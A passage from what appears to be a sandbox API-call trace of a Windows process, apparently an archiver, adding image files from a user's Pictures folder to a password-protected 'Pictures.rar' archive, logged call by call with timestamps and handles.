Size=0x20) returned 0x3b8bf60 [0059.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.848] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf90, Size=0x48) returned 0x26fe80 [0059.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.848] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf90, Size=0x48) returned 0x26fed0 [0059.848] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.848] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.849] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.849] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bfc0 | out: hHeap=0x1b0000) returned 1 [0059.849] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bf90 | out: hHeap=0x1b0000) returned 1 [0059.849] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf60, Size=0x48) returned 0x26fe80 [0059.849] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.849] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x77, lpOverlapped=0x0) returned 1 [0059.849] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf60 [0059.849] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x77) returned 0x2a0ae50 [0059.849] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.849] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.849] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x899a0 [0059.849] CloseHandle (hObject=0x1b0) returned 1 [0059.849] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.849] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.849] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.849] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.849] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.849] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.849] CreateFileW (lpFileName="FF-GXA22K-J\\i--dke3Y4B2pF6twr.bmp" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\i--dke3y4b2pf6twr.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.849] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.849] GetTickCount () returned 0xa65515 [0059.849] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.849] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.849] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.849] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.849] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="FKAF idlRz23ptJ2k-O.bmp") returned 23 [0059.849] SetWindowTextW (hWnd=0x1024c, lpString="i--dke3Y4B2pF6twr.bmp") returned 1 [0059.850] GetTickCount () returned 0xa65515 [0059.850] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.850] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.850] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.850] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.850] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x216)) [0059.850] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.850] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13519095110) returned 1 [0059.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0xbec8, lpOverlapped=0x0) returned 1 [0059.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x36dbf08, nNumberOfBytesToRead=0xf4138, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36dbf08*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.851] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.851] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.851] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.851] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.851] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bfc0, Size=0x48) returned 0x26fed0 [0059.851] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.851] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.851] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bfc0, Size=0x48) returned 0x26fe80 [0059.851] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.852] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.852] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.852] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.852] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bff0 | out: hHeap=0x1b0000) returned 1 [0059.852] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bfc0 | out: hHeap=0x1b0000) returned 1 [0059.852] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf90, Size=0x48) returned 0x26fed0 [0059.852] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.852] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.852] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.853] GetTickCount () returned 0xa65515 [0059.853] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13519305006) returned 1 [0059.853] GetTickCount () returned 0xa65515 [0059.853] GetTickCount () returned 0xa65515 [0059.853] GetTickCount () returned 0xa65515 [0059.853] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.853] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.853] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.854] ResetEvent (hEvent=0x1a4) returned 1 [0059.854] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.855] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.855] ResetEvent (hEvent=0x1a4) returned 1 [0059.855] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.857] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.857] GetTickCount () returned 0xa65524 [0059.857] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13519718992) returned 1 [0059.857] GetTickCount () returned 0xa65524 [0059.857] GetTickCount () returned 0xa65524 [0059.857] GetTickCount () returned 0xa65524 [0059.857] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 1 [0059.857] GetMessageW (in: lpMsg=0x16d3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d3d0) returned 1 [0059.857] GetFocus () returned 0x10268 [0059.857] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d3d0) returned 1 [0059.857] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.857] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.857] ResetEvent (hEvent=0x190) returned 1 [0059.857] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.858] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.858] ResetEvent (hEvent=0x190) returned 1 [0059.858] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.858] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.858] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.858] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.858] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x899a0 [0059.858] SetFilePointer (in: hFile=0x198, lDistanceToMove=117, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x89a15 [0059.858] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.859] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.859] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.859] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.859] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0xbf20, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0xbf20, lpOverlapped=0x0) returned 1 [0059.860] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.860] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.860] SetFilePointer (in: hFile=0x198, lDistanceToMove=563616, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x899a0 [0059.860] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x899a0 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.860] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bfc0, Size=0x48) returned 0x26fe80 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.860] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bfc0, Size=0x48) returned 0x26fed0 [0059.860] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.860] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.860] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bff0 | out: hHeap=0x1b0000) returned 1 [0059.860] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bfc0 | out: hHeap=0x1b0000) returned 1 [0059.860] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bf90, Size=0x48) returned 0x26fe80 [0059.860] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7a) returned 0x203ab0 [0059.860] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x75, lpOverlapped=0x0) returned 1 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bf90 [0059.860] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x75) returned 0x2a0aed0 [0059.860] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.860] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.860] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x95935 [0059.860] CloseHandle (hObject=0x1b0) returned 1 [0059.860] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.860] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.860] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.860] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.860] FindFirstFileW (in: lpFileName="FF-GXA22K-J\\qe4w BUBvbI.png", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.860] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.861] CreateFileW (lpFileName="FF-GXA22K-J\\qe4w BUBvbI.png" (normalized: "c:\\users\\whuoxysd\\pictures\\ff-gxa22k-j\\qe4w bubvbi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.861] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.861] GetTickCount () returned 0xa65524 [0059.861] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.861] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.861] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.861] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.861] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="i--dke3Y4B2pF6twr.bmp") returned 21 [0059.861] SetWindowTextW (hWnd=0x1024c, lpString="qe4w BUBvbI.png") returned 1 [0059.861] GetTickCount () returned 0xa65524 [0059.861] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.861] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.862] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.862] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.862] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x225)) [0059.862] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.862] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13520210731) returned 1 [0059.862] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x10b81, lpOverlapped=0x0) returned 1 [0059.863] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e0bc1, nNumberOfBytesToRead=0xef47f, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e0bc1*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.863] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.863] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.863] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.863] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.863] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bff0, Size=0x48) returned 0x26fed0 [0059.863] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.863] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.863] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bff0, Size=0x48) returned 0x26fe80 [0059.863] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.863] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.863] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bff0 [0059.863] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8c020 [0059.863] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8c020 | out: hHeap=0x1b0000) returned 1 [0059.863] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bff0 | out: hHeap=0x1b0000) returned 1 [0059.863] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bfc0, Size=0x48) returned 0x26fed0 [0059.863] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.863] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.863] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.864] GetTickCount () returned 0xa65524 [0059.864] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13520415049) returned 1 [0059.864] GetTickCount () returned 0xa65524 [0059.864] GetTickCount () returned 0xa65524 [0059.864] GetTickCount () returned 0xa65524 [0059.864] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.864] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.864] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.864] ResetEvent (hEvent=0x1a4) returned 1 [0059.864] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.865] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.865] ResetEvent (hEvent=0x1a4) returned 1 [0059.865] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.867] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.867] ResetEvent (hEvent=0x1a4) returned 1 [0059.868] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.869] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.869] GetTickCount () returned 0xa65524 [0059.869] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13520974722) returned 1 [0059.869] GetTickCount () returned 0xa65524 [0059.869] GetTickCount () returned 0xa65524 [0059.869] GetTickCount () returned 0xa65524 [0059.869] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.869] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.870] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.870] ResetEvent (hEvent=0x190) returned 1 [0059.870] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.870] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.870] ResetEvent (hEvent=0x190) returned 1 [0059.870] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.871] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.871] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.871] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.871] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x95935 [0059.871] SetFilePointer (in: hFile=0x198, lDistanceToMove=111, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x959a4 [0059.871] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.871] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.871] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.871] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.872] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x10c30, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x10c30, lpOverlapped=0x0) returned 1 [0059.873] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 1 [0059.873] GetMessageW (in: lpMsg=0x16d150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d150) returned 1 [0059.873] GetFocus () returned 0x10268 [0059.873] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d150) returned 1 [0059.873] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.873] SetFilePointer (in: hFile=0x198, lDistanceToMove=612661, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x95935 [0059.873] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x95935 [0059.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bfc0 [0059.873] RtlAllocateHeap 